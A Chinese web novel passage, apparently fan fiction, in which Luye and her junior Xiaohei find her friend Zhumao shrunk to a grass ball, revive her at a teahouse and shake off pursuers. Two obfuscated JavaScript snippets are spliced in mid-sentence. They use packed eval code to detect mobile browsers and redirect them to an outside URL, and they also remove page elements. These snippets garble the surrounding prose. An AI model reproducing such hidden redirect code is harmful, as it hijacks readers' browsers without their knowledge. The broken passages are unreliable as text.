小猫可没有在意自己被嫌弃,继续好奇巴巴地问来问去:“你们这是在哪里拍的呀?” “霍尔门科伦。”鹿野低头捣鼓手机,随口回答,“那儿的滑雪大跳台有点意思。下次有机会带你去玩。” “真的吗?师姐你好好!”小黑激动起来,虽然也不知道那是什么地方。 ——师父说得没错,师姐果然是很棒的人! 此猫已经完全忘记了就在一个多小时前自己还在瞪鹿野背影这件事。 “嗯,阿竹喜欢玩单板,我更倾向于双板。她这人也搞笑,一到平坡的时候推不动板子,就求我帮忙拉一把,完全忘了自己是个妖精。” 提及好友相关的话题,鹿野总是不自觉地多说两句。 经常滑雪骨折的朋友都知道,单板容易整活儿,但双板的滑行速度更快,从山上跳下来就跟原地起飞似的。 人类真是太大胆了。 不过这两种滑雪方式对于上天入地的妖精们来说就跟吃饭喝水一样简单,所以大部分时候也就是玩玩,体验一下人类的娱乐和运动方式。 小黑恍然大悟:“原来这个姐姐叫‘阿竹’吗?” “对。” “那她的手机为什么会被埋在地下?” “我也不知道。” 鹿野一边敷衍好奇小猫,一边在尝试了几次错误的密码后,她终于输入对了正确的那个密码。 可是她略微地沉默了片刻,握着这满是裂痕的仪器,并没有急着看里头的内容。 小黑都替她着急了:“师姐,不看里面的消息吗?” “阿竹的手机密码是——我的生日。”鹿野嗓音有点沙哑地说。 “有什么问题吗?” 猫儿不懂,因为他没有手机,无限也觉得小徒弟在完全掌握力量之前不要分散注意力,所以没给小黑买。 “你知道师父的手机密码是什么吗?”鹿野反问他。 “我不知道。”小黑很单纯地挠挠头,一脸纯真,“他一般都是解锁后才给我看一下动画片的。” “还真是小孩子……” 鹿野低头看向他,像是在讲解,又像是在说服自己一样:“一般的朋友不会拿对方的特殊纪念日当作自己的手机密码。” “诶?可是师姐跟阿竹姐是一般朋友的关系吗?” “……远不止吧。”鹿野眨了眨蓝眼睛,像是在快速地回忆过往,“我们都认识七十多年了。” 她第一次认识竹茂时才三十岁出头,就跟如今的泽宇差不多的年纪。 而竹茂那个时候已经是个六十岁的妖精,按道理该稳重靠谱一点,结果还跟个小孩儿似的天天捣鼓些乱七八糟的奇怪治疗方案,被她治过的病人都给了差评,公认的烂手回冬大庸医。 “那就是超级要好的朋友!我跟师父认识的时间都还没七年!”小黑斩钉截铁地下定论。 “是啊。”鹿野看起来有些莫名地情绪低落,“所以只是……特别好的朋友而已。” 小黑:? 小黑看到鹿野的表情,莫名地想起了记忆中的一个名为“风息”的妖精。 风息是个很复杂的家伙,他的结局和理念让小黑至今也无法完全对其下达某个定论。 但小黑就是没办法完全的去恨或者单纯同情。 不过师父无限说不用急,多看,多学,多想。然后等你真正长大了,自然就能对风息的事情下达一个属于你自己的定论了。 所以猫儿也期待着自己“真正长大”的那一天。 ——师姐对待阿竹姐的态度,就好像自己对风息那样复杂吗?小黑想不通。 鹿野低头翻阅了几分钟手机,发现里面没有什么特别有价值的信息,倒是几个常用的消息软件里满屏幕都是红通通的“未读消息”。 大致扫了一眼,全是各路朋友、同事甚至还有一些痊愈病人在询问竹茂有没有事情,怎么在医院里搞出那么大吓人动静,总之就是这类关心的消息…… “啧!人缘那么好?” 鹿野阴沉着脸收起了阿竹的手机,一个消息也不打算帮那个傻子回复。 一旁的小黑看师姐莫名其妙地又开始生气,倍感疑惑。但他是个高情商孩子,知道这个时候闭嘴就好,所以就什么都没问。 “小黑,走了。”鹿野站起身,拍拍手上的灰尘。 “现在又去哪里呢?” “这个手机上面残留的灵质给我指了条路,跟过去找找看。” “好!”猫儿脆生生地回答。 接下来的半个小时,师姐弟两人到处转来转去,坑也挖了好几个,有的一无所获,有的也还是一无所获。 废话+1 鹿野的表情看起来糟糕得都快要杀人了。 “他们到底在干嘛……”躲在远处树干背后的甲很疑惑。 乙建议道:“汇报给师父吧。” ——遇事不决问师父是每个弟子的必修课。 “也好。” 那边池年一听这个行动轨迹的描述就急了:“她这是在找……” 甲:“找什么?” 池年想起了竹茂分身的“临终”嘱托和生死攸关的重任……然后他看了一眼坐在桌子周围的其他几位长老,又硬生生地把“竹茂”这个名字咽回去,改为说:“快去阻止她!不许再乱挖了!” 乱挖? 正在低头煮茶的灵遥长老的手指轻轻停滞了一瞬间,但大家此时注意力都在打电话的池年身上,所以没人注意到这个细节。 众所周知,竹茂是草木系妖精。 ……事情麻烦了!这【流石会馆】灭口的活儿恐怕出纰漏了! “什么?”【流石会馆】那边,甲彻底震惊了,“可是长老,我们打不过鹿野啊。” 苦难陈述者.jpg 没办法,打工人就是这么命苦。 生活是生活,小说是小说,就好像小说故事的第一章可以是《路上偶遇村口恶犬,拼尽全力无法战胜》,到了大结局就变成《两位永恒至尊大战直至宇宙尽头》,也没读者会反对什么…… 但是对于甲乙二人而言,这种感觉就好像刚开始去做一个路边问卷调查小任务,最后愣是变成了急难险重问题的攻坚任务。 人都麻了。 池年恨铁不成钢,气得对通讯器大吼:“你这个脑子不灵活的家伙,周围不是有巡逻队吗?快去叫人来帮忙,就说这是在破坏现场的行为,是不被允许的!鹿野但凡想要在规则范围内调查真相,就不可能跟你们正面对抗!” “哦哦哦!好的师父!”甲乙匆匆挂断通讯,领命而去。 倒是旁听的西木子长老震惊得一拍手中的红色纸扇,感叹道:“池长老竟然说出了一条临机应变的决策?” 池年一怒之下怒了一下:“西木长老你这是什么意思!” “没,夸你有勇有谋呢。”狐狸长老笑眯眯的,跟哄小孩一般。 于是池年又高兴起来。 另一边,【流石会馆】废墟附近的山林里,鹿野猛地回头,察觉到甲乙二人火速离开的异常举动。< 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甲乙解释不清,属实是命苦打工人,只好连连道歉,然后赶紧也传送去【洞桥会馆】继续追查。 他们在【洞桥会馆】总算逮住了正在好整以暇四处溜达调查的鹿野和小黑,这师门姐弟两人仿佛刚才一切的急行军都是幻觉,根本无事发生。 甲作为师兄,气呼呼但又有点害怕地质问她刚才到底在干什么。 没事挖什么洞啊! 你们两个之中难道有谁是土拨鼠精吗! “我受我师父的嘱托,随时随地要锻炼小黑的空间系能力。”鹿野相当傲慢地抬起下巴,用下巴打量这两个小憨批,“怎么,你俩有意见?” 说话间,她捏了捏自己的拳骨,骨头发出了令人牙酸的脆响,一副活动开就可以狠狠开揍的架势。 甲和乙盯着她好几秒,再加上小黑也一副气鼓鼓、毫不心虚的模样瞪着他们,两人觉得还是抓不住什么把柄,只好不甘心地道歉了一声,蝙蝙地走开了。 “还是跟长老说一声吧……” 池年接到消息后,也陷入了疑惑中,因为他本来就不是什么特别聪明的妖精。 但碍于现场还有其他人,他也没法向老神在上的雨笛馆长单独求教。 传音入密的技法在同级高手面前也有概率会失效、泄密,所以池年谨慎地没有使用。 所以……鹿野到底有没有找到竹茂的本体啊?? 可恶的御金系!哪来的谜语人传统?烦死了!! 离开【洞桥会馆】后,两人又连续传送数个会馆进行调查。 在某个间隙,鹿野敏锐地察觉到自己身上的“监视”目光出现了短暂的纰漏,当机立断的对师弟伸手:“把那个东西给我。” 小黑目光坚毅地点点头,从自己毛茸茸的黑色头发里拿出了一个藏在里面枯黄色的球状物品。 这是他们在倒数第二个可疑地点里摸到的东西。 因为跑得太急了,当时没时间细看,直到现在才有短暂的时间查看。 鹿野小心地用手掌托着这个枯黄色的草团子,凑到眼前仔细端详:它轻飘飘的,没有任何重量和气息,而且脆弱到会被风一吹就走。 先前小黑从地底把它拿出来时因为太紧张了,还不小心失手让它掉在雪地上,滚了两圈,表面沾染了一点雪花和烧焦的泥巴碎屑。 它看起来平平无奇,但是一个草团子出现在大片焦土之地的地下,已经足够说明了很多问题了。 鹿野从来没见过这种奇怪的枯草团子,但她只觉得自己的指尖冷得要命,而且是不受控制的在颤抖。 早在用能力判断出草团子的信息之前,鹿野的直觉已经先理智一步认出了挚友的身份。 “这就是阿竹!” 鹿野开口下达结论,只感觉有一阵无形的电流从脊椎骨猛地窜上颅顶,让她的全身鸡皮疙瘩都跳了一下。 小黑也惊了,凑头过来看:“可是她看起来好像……” 死了。这吉利话好歹被高情商小猫憋回去了。 不过大家都知道妖精真要是死了的话是不会留下尸体的,直接尘归尘土归土。 所以阿竹姐这是还没死吧?但是感觉也差不多了。小黑挠挠头,搞不懂。 恰好此时鹿野感受到“监视”的目光又即将回来,她将脆弱枯黄的草团子往自己的厚外套和腰带之间的温暖腹怀中一塞,随后若无其事地拍拍手,招呼猫儿离开。 “表情自然点。” “哦哦,好。” 12.饮茶先啦 如今失踪的朋友确实是捞到手了,但是状态远没有鹿野设想得那么好。 在她先前想来,竹茂这种血条厚度惊人的苟命爱好者无论怎样都能有一点自保之力,而不是像如今这般一动不动、对外界丧失感知、还几乎完全退化为原型草木的可怜兮兮模样。 说实话,鹿野很不高兴。 既为阿竹作死到能把自身搞成这副惨样而恼火,也因为自身被池年拖着从而被迫来晚了半天而自责。 小黑敏锐地察觉到了师姐的情绪似乎不太高涨,虽然她看起来一如既往的冷脸毒舌,但小猫还是非常积极地帮忙出谋划策。 “阿竹姐这样下去不是办法吧?” “嗯。” “要不要送她去看医生?”小黑问。 “阿竹自己就是医生。”鹿野面无表情地解释,怎么看都有点咬牙切齿的意味,“通常来说,她这个层级的医生一旦受伤到这个地步,就得需要更厉害的医生出手才行。” 小黑听得懵懵懂懂:“所以呢?” “所以我们现在的第一要务是追查真凶,洗刷师父的冤屈。根本没时间去找那些更厉害的医生过来帮忙。” 鹿野语气冷酷得很,似乎完全不把好友的死活放在心上。 小黑似懂非懂地哦了一声,想了一会儿,又问:“我们带着阿竹姐行动,万一等会儿发现坏人了,打起来会不会波及她呀?” 鹿野直视前方,语气冷淡:“不排除这个可能。” “那为什么不用传送阵,把她先送回总馆那边安全的地方呢?” 小黑是一只善良勇敢的小猫妖,他之所以这么说,只是单纯的不想让一个濒死的病人卷进随时有可能到来的危险之中。 鹿野明白他的意思,但还是摇摇头:“放在平时或许可以,放在现在——不行。” “在真正的幕后黑手没有被抓出来之前,我不会信任总馆的那些家伙。” 停顿了一下,她看自己的小猫师弟还是欲言又止,索性挑明了说道:“我这次会亲自保护阿竹……就像保护你一样,小黑。想伤害你们的人都必须先杀死我。” 说白了,就是鹿野宁可担着一定的风险,也不想再把竹茂这位状态古怪且脆弱的好友送到风险更大的地方寄存。 鹿野说出以上这番话时的态度很自然,平淡,就好像在喝茶吃饭一样。 但小黑还是被成功地转移了注意力,信誓旦旦地大声道:“事情不会那么糟的!而且我也会努力保护师姐和阿竹姐!” 鹿野愣了一下。 她看向自己这个陌生小师弟的目光不自觉地柔和了几分,难得地笑了笑:“好。” 所以…… 事情为什么会变成这样? 坐在人声鼎沸的【粤东会馆】(茶楼)里,面前的小黑在对着菜单与服务员姑娘疯狂点菜,仿佛今天是疯狂星期四一般,点什么菜都很实惠。 鹿野则是举棋不定地思考着小黑先前无意间说出的一句话。 【“阿竹姐好像连手脚都伸不开诶……整棵草都缩成一团了。一动不动的。”】 本体伸展不开啊。 鹿野不易察觉地叹了口气,对着手速惊人的正在登记菜名的服务员女孩空空说道:“空空,你们这儿有什么泡发植物的器皿吗?” 对,她打算把那个枯草团子给泡发了。 鹿野这辈子迄今为止见识过不少光怪陆离的事情,甚至差点引发战争的大危机事件也处理过几件,但是她从来没想过——有朝一日要把自己的医生朋友给泡发! 空空听着这个古怪的形容,思考两秒,露出了“客户至上”的招牌微笑:“有哦!鹿野大人,我这就为您拿一个过来!” 片刻后,空空拿了个新的紫砂壶和一壶滚烫开水过来。小黑很惊奇这茶楼里怎么会有这么齐全的茶具,便向她询问起来。 “你们是不是自己带了茶叶?”空空微笑着说,“很正常,许多客人觉得自己带的茶更好喝,通常都会自己带……但是我们会馆的茶位费还是照常收费哒!” 小黑挠挠头,很诚实地说:“我们没带茶叶,但是带了阿竹姐。” 鹿野听到这个好友名字出现时下意识地抬头看了师弟一眼,却没有打断他,而是若有所思起来。 空空大惊:“诶!是我认识的那个阿竹大夫吗?” “我不知道。也许吧。”猫儿认真地回答。 空空的笑容差点蚌埠住,心说你们这一桌的客人不想喝会馆提供的茶水就算了,怎么还一心想喝草木系朋友的泡澡水啊…… 多么令人迷惑。 不同于小猫师弟的叽叽喳喳,鹿野看着那一大壶本来用于泡茶,但现在可能用于泡阿竹的滚烫开水,再次陷入沉思。 她在快速回忆阿竹这辈子到底得罪过自己多少次,到底值不值拿开水浇一下这个混蛋。 ……糟糕,太多次,数不清了。 总感觉区区一壶开水根本不够,得烧一锅高温热油全部浇下去才能稍微缓解心头之恨。 “我不需要用开水来泡阿……泡茶。”用一只手撑着下巴的鹿野看起来已经快被“美好的友情回忆”给折磨得心力憔悴,“你们这儿有没有矿泉水?” 空空抱着传菜托盘介绍道:“有哦,常温还是冰镇?不同价位的矿泉水分别是井甜百碎山、农夫三拳还有……” “最贵的。”鹿野毫不犹豫。 “那就是高卢地区产出的衣云咯。” 鹿野连价格都懒得问,直接说:“来三瓶,不,五瓶。常温。” 空空立刻照办,把五瓶精美包装矿泉水送来后走开。 等服务员一走,小黑便主动跳下椅子跑过来,用自己的身子挡住鹿野的手边位置,眼巴巴地看着。 姐弟二人鬼鬼祟祟地把枯黄色的草团子塞进空的紫砂壶里,紧张得好像在往自己的饭菜里投毒似的。 鹿野往紫砂壶里倒了小半瓶矿泉水,这壶就满了。她往里头看了一眼,发现那个轻飘飘的枯草团子已经在水里不受控制地漂起来了…… 看着就糟心。阿竹这傻子! 鹿野面无表情地把茶壶壶盖“咔哒”一下盖上,对上小黑那满是期待的小眼神,她下命令:“吃饭!” “好耶!!” 眼看一道道热腾腾的清蒸石斑鱼、虾饺、白切鸡、叉烧酥、红米鲜虾肠粉、炸春卷等茶点端上来,一下子摆满了一大桌,有的蒸笼甚至还要叠起来好几层才能放得下来。 小黑的眼睛顿时变成了激动的小星星,开始哐哐炫饭,仿佛饿死鬼投胎一样。 鹿野漫不经心地夹着菜,时不时扫那个毫无动静的紫砂壶一眼,随口说:“今天的条件有限,将就吃点吧。” “怎么会将就……很好吃啊!师姐你对我太好了!”猫儿吃得腮帮子鼓起,说话含糊不清,幸福感肉眼可见地溢出。 鹿野想起这孩子平时的饮食大概也是吃师父无限亲手烹饪的“美味佳肴”,内心深处不禁涌现出一股对师弟日常生活的怜悯。 “师父做的饭能吃吗?” “呃……”向来爱憎分明的小猫也难免卡机几秒,“最近可以了!” 鹿野惊了:“真的假的。” “真的真的。” 想想吧,她当年怀揣着仇恨立志复仇,跑来找无限拜师学艺,这求学的日子已经够苦了,结果吃的东西还是让人恨不得立刻自挂东南枝的毒药级别…… 还好,她如今早就出师了。 “嗯?” 此时的小黑一如既往地张开嘴,幸福地闭上眼睛咬下去,忽然咬了个空。 “呜呜呜!”猫儿含泪伸出残留有个牙印的小舌头,没出血,但是咬空的那一下也够疼了。 鹿野停下筷子看着他,不知这孩子在玩哪出:“怎么突然咬到自己?” “我的鸡腿不见了……”小黑捂着舌头可怜兮兮地说,“奇怪,我明明要塞进嘴里的。” “等等!事情不对。”鹿野悚然一惊,开始仔细查看桌上残留的众多餐盘。 倘若换作旁人,恐怕很难察觉这一大桌子残羹冷炙的迹象有什么问题。 但这根本瞒不过身为总馆感知组的组长鹿野。 没过多久,鹿野就看出来了,红米肠少了一截,牛仔骨少了两块,虾饺莫名其妙地没了一个……她下一刻立刻伸手去打开摆在桌上的紫砂壶盖子。 空的。 没有水,也没有草团子。 阿竹复活了! 爬出来就开始偷吃并且到处跑! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124395|194830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而且居然又又又在她的眼皮子底下搞事情! “阿竹!”鹿野气得低吼一声,主要是害怕又搞丢了朋友,“你去哪儿了!” “诶?”小黑忽然感觉有人拉了拉他的裤腿,他低下头,看见不知何时起站在自己脚边的那个小东西。 那是一个浑身色泽都颇为枯黄的小草人,脑袋圆溜溜的,躯体和四肢都是由十几根脆弱干燥杂草拧成的类人形状,感觉稍微一用力就会被掐断。 它站起来也就只有成年人巴掌大的高度。 小小的草人仰起头,脸上没有太多清晰的五官,仅仅露出了一双墨绿到近乎偏黑的豆豆眼。同时这货的脑门上用几根类似呆毛的黄色枯草迎风抖动,变长,在半空中组成了一个弹幕符号。 【+1】 小黑很困惑:“+1?什么+1?” 小草人脑门的生草弹幕变化成歪歪扭扭的两个字:【咕咕】。 猫儿恍然大悟,这是要第二块鸡腿呢? “不好意思,没有鸡腿了,刚才被你偷走的那是最后一块。” 小草人严肃地点点头,那几根组成弹幕的呆毛迅速缩回头顶。 ——小黑精准地理解了这个举动的意思,是“好吧,原谅你了”。 猫羞涩地笑了:“谢谢,阿竹姐你很大度。” 小草人歪了歪脑袋,似乎没理解这是在称呼谁。 此时听到动静的鹿野也忍不住低头凑到桌子底下,下一秒跟这个豆豆眼小草人面面相觑了起来。 鹿野:“?” 小草人:“……” 鹿野的嘴唇不太明显地嗫嚅了两下,试探着说:“阿竹?” 然而脑袋圆圆的小草人充耳不闻地望着她,很显然对这一切都感到很陌生和未知。 鹿野按捺不住内心的焦躁和疑惑,陡然间伸出手,想要抓住这个死性不改、一爬起来就开始偷吃的笨蛋朋友。 但是小草人的反应比她预料得还快,只见她四肢的野草瞬间生长,如绳索一般缠住小黑的小腿部分后“嗖!”的一下窜过去。 然后她怯生生地躲在小猫的裤子后面,脑门上的野草呆毛也明显耷拉下来。 “???” 看到这一幕,鹿野的眼神都有点呆滞。 心被扎到痛了! 有时候鹿野怀疑自己跟竹茂上辈子一定是冤家死对头,不然她不会欠这个让人不省心的混蛋那么多。 不对,妖精没有前世和来生,所以这辈子两人绝对是冤家!不死不休的那种! 还好此时小黑因为弯腰太久有点累,就把小草人从桌子底下抱起来,放在自己的手掌上,摊开给鹿野看。 “别怕哦。这是师姐,是你的好朋友。” 猫儿一边帮忙介绍,一边摸摸阿竹的脑袋安抚她,感觉这些枯黄的小草人摸起来很干枯、扎手。 “阿竹,你还记得我吗?” 鹿野沉声道,脸上毫不掩饰地露出了相当烦躁不安的神情。 坐在小黑掌心里的小草人明显地沉思片刻,随后用力点头。 鹿野顿时松了口气,不过依旧谨慎地凑过来低声问:“我叫什么名字?” 阿竹:? 你的名字你问我?你是不是傻? 于是她为难地摸摸自己脑门上,艰难地令那些修长柔韧的特殊野草又长出几根,快速编织成了一个新的词语。 【师姐】 鹿野:“…………” 她的后槽牙都快咬碎了,怒极反笑,脖子上的青筋都暴起了几根,然而下一秒她再也无法遏制内心熊熊燃烧的怒火,猛地一拍桌子站起来: “‘师姐’这词也是你该叫的?我再像之前那样担心你,我就是傻子!” 她无法抑制的怒火太吓人了,以至于旁边的几桌食客们再次被吓到。 小黑也被吓得张大嘴巴:“师姐你冷静点,不要这样!” 然而鹿野的蓝眼睛貌似都要喷火,看起来要择草而噬了:“我很冷静!” 在争执声中,小草人阿竹看看周围感觉没有自己的事情,因此若无其事地用枯黄小手卷起最近的一块豆豉蒸排骨塞进嘴里嚼嚼嚼。 嗯,有点咸,但好吃。 再吃一块。 13.吃饱喝足 午饭时间点,【粤东会馆】的早茶生意历来很好。 在这张宛若复制粘贴出来的圆桌上,服务员见怪不怪地将一大堆空掉的碗碟收走,很快又上了一波新的菜品。 是的,鹿野选择加第二轮菜。 ——都是某些朋友爱吃的。 主要是给某个刚刚从复活赛里爬起来、急需营养摄入的笨蛋草木系妖精加餐。 其实吃到现在小黑也差不多吃饱,鹿野倒是被气饱了,眼睛半睁半闭地瞥着这貌似有点失忆的冤种朋友。 骂人归骂人,饭还是该吃的。 鹿野可不想这家伙在自己手上被饿死,到时候她恐怕就要背上良心的债务了。 天呐,一想到“竹茂”和“良心”这两个词连在一起,鹿野就有种宁愿立刻结束这一生也不想面对这种可耻的心灵债务的冲动。 坐在桌子上的小草人睁着那双无辜纯净的墨绿色豆豆眼,并不知道自己的挚友在腹诽什么。她如今只是专心致志,哐哐哐地炫饭。 这小东西本来先前试图使用一对新的耐高温黑色塑料筷子夹菜,但很快就放弃了这种自立自强的行为。 第一个原因是当前的身形太过娇小,两根筷子立起来都比她如今要高出大半截个头。 第二个原因是阿竹如今的“手臂”太过纤细脆弱,她整个人抱着长长重重的筷子原地转了两圈,实在找不到发力重心。 最终这只阿竹不幸地被这沉重的塑料筷子给“啪叽”一声压倒在桌面上,难以逃脱,场面艰难得好像在塌方现场被压住了腿一样……她最后只好在脑门上发出了一句非常无助的求助弹幕。 【SOS】 阿竹用弹幕可怜兮兮地说。 “亲朋好友和战斗前发生了什么事情是一个都没印象,这草包身体里连基础发音器官都演化不出来,一些奇怪的常识倒是记得很清楚。”鹿野没好气地骂道。 这个女人嘴上不饶人的同时还掏出自己的手机,火速拍下当代某些野生小草人被餐厅筷子彻底驯服的珍贵画面,同时不自觉地面露迷之微笑。 据鹿野观察,如今阿竹的“失忆”大概也是因为她的力量暂时退化到如今几乎原形的程度,一时间想不起来很多事情。 等缓过劲来就会自动痊愈。 那么身为好朋友,不趁着这个时候好好欺负一下这混蛋的话,还要等什么时候? 于是鹿野的手机拍摄就没停,打算回头全部做成表情包来狠狠地黑竹茂。 小猫比较单纯善良,不像他师姐那样满心思都是趁机捉弄失忆朋友的念头。 他主动帮忙阿竹挪开了身上的筷子后,看到这小草人似乎很失落地坐在桌子上,不敢相信自己连筷子都扛不起来,整个人一动也不动,也没心思吃东西了。 小黑怕她饿死,便主动热情地承担起投喂功能。 阿竹歪了歪头,疑惑地看向猫儿。 “吃吧吃吧,吃了你才会快高长大。”小黑热情地投喂新上来的虾饺,“反正师父是这样跟我说的!” 于是阿竹想想也有道理,再次变得来者不拒,高高兴兴地继续开始吃东西,然后时不时用脑门的杂草弹幕给食物打出分数。 一猫一草忙得不可开交。 鹿野和小黑刚开始还不知道这个分数是什么意思,后来还是鹿野了解这货的臭毛病,一拍大腿地说:“这是阿竹的好感度系统。” 小黑被震撼,连投喂的动作都停顿了一下:“啊?” 怎么会有人在现实中过着跟游戏一样的生活…… 猫崽刚开始不太信,可是师姐鹿野特别自信地说:“我给你展示一下。” 说完,她主动夹起一根沾着酱油的白灼菜心凑到小草人嘴边。 “……” 阿竹相当嫌弃地看了一眼鹿野,又特别嫌弃地看了一眼这根翠绿的青菜,勉强伸头,一口咬住,然后嗷呜嗷呜地吞咽下去,看起来都没怎么咀嚼。 很快,她脑门的杂草呆毛飞速打出一个大家先前没见过的全新分数。 【-10!】 居然还加了感叹号。 看来阿竹姐真的很讨厌吃青菜啊。 小黑叹为观止,鹿野则是再次面露笑容——或者说这个训练有素的资深执行者从刚才开始就一直在笑,根本没停过——这女人得意地解释道:“阿竹现在对我的好感度是-10了。” “我觉得不止诶……” 小黑看着突然生气到跳起来、跑过大半张圆桌的距离就为了踢鹿野手臂一下的小草人,忍不住吐槽道。 被柔弱朋友猛踹肌肉的鹿野对此不以为然,放在桌上的手臂连挪都懒得挪一下,口中发出锐评:“不疼不痒。阿竹你要不要再来点青菜?” 但不知为什么,小草人没有如鹿野所愿地那样继续抽打她,而是气鼓鼓又委屈地一屁股坐在桌面上,用那双豆豆眼瞪着她。 “……” 鹿野被看得有点心虚,原本正在拍摄的手机不自觉地关掉,脸也撇开了。 过了几秒钟她偷偷挪回视线,发现阿竹竟然还是保持着原本双手抱胸的生气姿态瞪着自己。 那眼神的意思很明显:别人可以欺负我,但唯独你不行! “……凭什么啊。”鹿野不太自在地反驳,“你这是双标。” 小草人抬手挠挠头,似乎在思考什么叫“双标”,但是想不明白,遂放弃思考,继续委屈地盯着这个冥冥之中让自己很有好感的妖精。 小黑也觉得这对好朋友之间气氛好像不太对,试图缓解一下:“阿竹姐过来吧,这儿还有你喜欢的虾饺没吃完。” 但是刚才还在嗜吃如命的小草人如今稳如泰山地坐着,也就脑门的呆毛摆出了一个【x】的拒绝弹幕,身体则是连动都不动一下。 鹿野叹了口气,随手拿起自己刚才用过的筷子,说道:“剩下的交给我来喂吧,这家伙在跟我撒娇呢。” 果不其然,当看到眼前的妖精夹了自己喜欢的肉喂到嘴边时,阿竹脑门的弹幕才愉快地发生了变化:【:)】 然后此草人毫无心理负担地继续啃肉,嚼嚼嚼,同时脑门上的弹幕重新变成了好感度。 【+3】 【+1】 【+5】 …… 真是让投喂者很有情绪价值的反馈感。 小黑看着看着,忽然注意到一个细节:“咦?” 那就是师姐用的是她自己先前使用过的筷子,而不是像自己这般新拿的干净筷子…… 但是小猫的卫生概念里并没有这方面的知识点。 因为他有时候吃到不喜欢口味的冰激凌也会塞给师父,而无限也会毫不嫌弃地吃干净这满是口水的雪糕。 所以小黑觉得亲朋好友之间用同一双筷子是非常正常的事情! 其实并不是。 鹿野选择用自己的筷子,纯粹因为那是距离她当时右手最近的一双,下意识地操作。 至于阿竹哪怕失忆了也不嫌弃这件事,也纯粹是她迷迷糊糊地感觉这种事貌似不是第一回了。 好朋友就是要吃对方的口水!(震声) 在大堂的二楼走廊里也摆满了餐桌,倚窗而坐的甲乙二人正在大口吃饭。准确来说,是师弟乙在当干饭王,甲吃得有点心不在焉,眼神时不时往楼下的那张圆桌上飘过去。 “师弟,他们那一桌的黄色小草人是怎么回事?从哪儿冒出来的。”甲问师弟。 此时的乙在吃一碟叉烧肉双拼烧鹅腿,叉烧半肥半瘦正是精华部分,烧鹅腿还是左侧下庄,肥嫩香软。 这位少年妖精被香得满嘴流油,同样探头往窗外看了一眼:“不知道诶……大概是刚好在这间粤东会馆里遇到的一起吃饭的朋友吧。” “那个冷酷的鹿野大人也会有这么耐心地给朋友喂饭的时刻,”甲难免发出感慨,“如果不是亲眼所见,真是难以想象。” 简直就跟猛虎细嗅蔷薇的场面一样充满了视觉冲击力。 埋头干饭的乙忽然注意到一个华点,忍不住问道:“鹿野大人和她师弟不是急着去调查什么真相吗,怎么还有空给一个碰巧遇见的拼饭朋友喂饭?” 甲愣住了,师弟言之有理啊! 恰好服务员空空刚好拿着一个托盘路过这张桌子,甲就连忙叫住她:“空空,鹿野大人有做什么奇怪的举动吗?” “奇怪的举动?”空空仔细想了想,“拿五瓶衣云矿泉水来做冷泡茶算不算?” 甲感觉自己抓住了那一丝一闪而逝的怀疑:“就泡茶而已?没有别的事情了?” “别的事情?吃饭啊,还喝了汤。”空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137299|194830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空回答。 “就这些?” “啊啊,想起来了。”这个姑娘忍不住笑着说道,“跟鹿野大人同行的小朋友说,阿竹大夫好像也来吃饭了。可惜不知为什么,刚刚一直没看到她本人出现。” 甲面色呆滞:“阿竹……莫非是竹茂医生?” 乙在往嘴里塞包子,理所当然地说:“鹿野大人最好的朋友不就是竹茂吗?这事儿大家都知道,老黄历了。听说早些年有个别病人医闹,鹿野大人一个一个地去拜访人家,然后就没人敢跟竹茂闹这些了。” 停顿了几秒,乙忽然震惊地看向师兄:“可是竹茂不是昨天就被咱们师父派出去公干了吗?” “听说她是草木系的妖精吧?”甲的脸色变了。 “是啊。” “也就是说,那个小草人就是……” 这亲眼所见的事情跟了解中的信息出现了矛盾,里头一定有问题! 师兄弟顿时面色大变,甲探头一看,发现那张圆桌已经空无一人了! “糟糕,又被耍了!别吃了快追!” 黑发少年妖精夺路飞奔,追击鹿野等人。乙在最后离开前不忘往嘴里塞最后一个包子,顺带对服务员空空夸了一句“真的好好吃!”后才跟上师兄的脚步。 但当两人从管理传送阵的工作人员那儿查到鹿野他们突然第二次传送去洞桥会馆时,纷纷都有种不祥的预感。 “他们不是已经去过一次洞桥……糟糕!” 果不其然,传送阵的【洞桥会馆】方向被封锁,传送失败。 对面的洞桥传送阵,被前脚过去的鹿野彻底毁了。 ………… …… 【洞桥会馆】。 在使用“我在出任务”和“维修费记我账上”等霸道执行者的说辞,把洞桥会馆那位秃顶中年男外表的馆长打发走后,一人一猫一草才快速离开此地。 在通往会馆大门口的走廊上,小黑仰起头询问这位走路健步如飞的强壮师姐:“【洞桥会馆】我们刚才不是来过吗?怎么又来?难道是有什么新的线索吗?” 鹿野习惯性地高冷:“嗯。” 甩开那碍事的监视者本就是她的计划之一,至于炸毁洞桥会馆的传送阵当然也是如此。 “传送阵被毁,他们一天之内都抓不到我。”鹿野非常有信心,因为她历来都是那个有能力有野心有志气的猛人,“而我会在一天里抓住真凶!” 结果师弟小黑不仅没有如她预料那般露出敬佩的神色,反而吐槽:“也就是说,一天后师姐你就会被抓了吗?” 鹿野的眼神因为心虚而难免飘忽了一下:“这是你该关注的重点吗?” 小黑小声地说:“我主要是怕阿竹姐跟你一起坐牢去……” 猫儿的视线往上飘起,落在了鹿野的头顶——一个浑身颜色枯黄中带着点点翠绿颜色的小草人正惬意地坐在鹿野脑门看风景,似乎一点也不怕自己摔下去。 这要是让鹿野的熟人朋友看见这一幕保准大吃一惊,到底是何等八字过硬的萌物才敢做出这种事情。 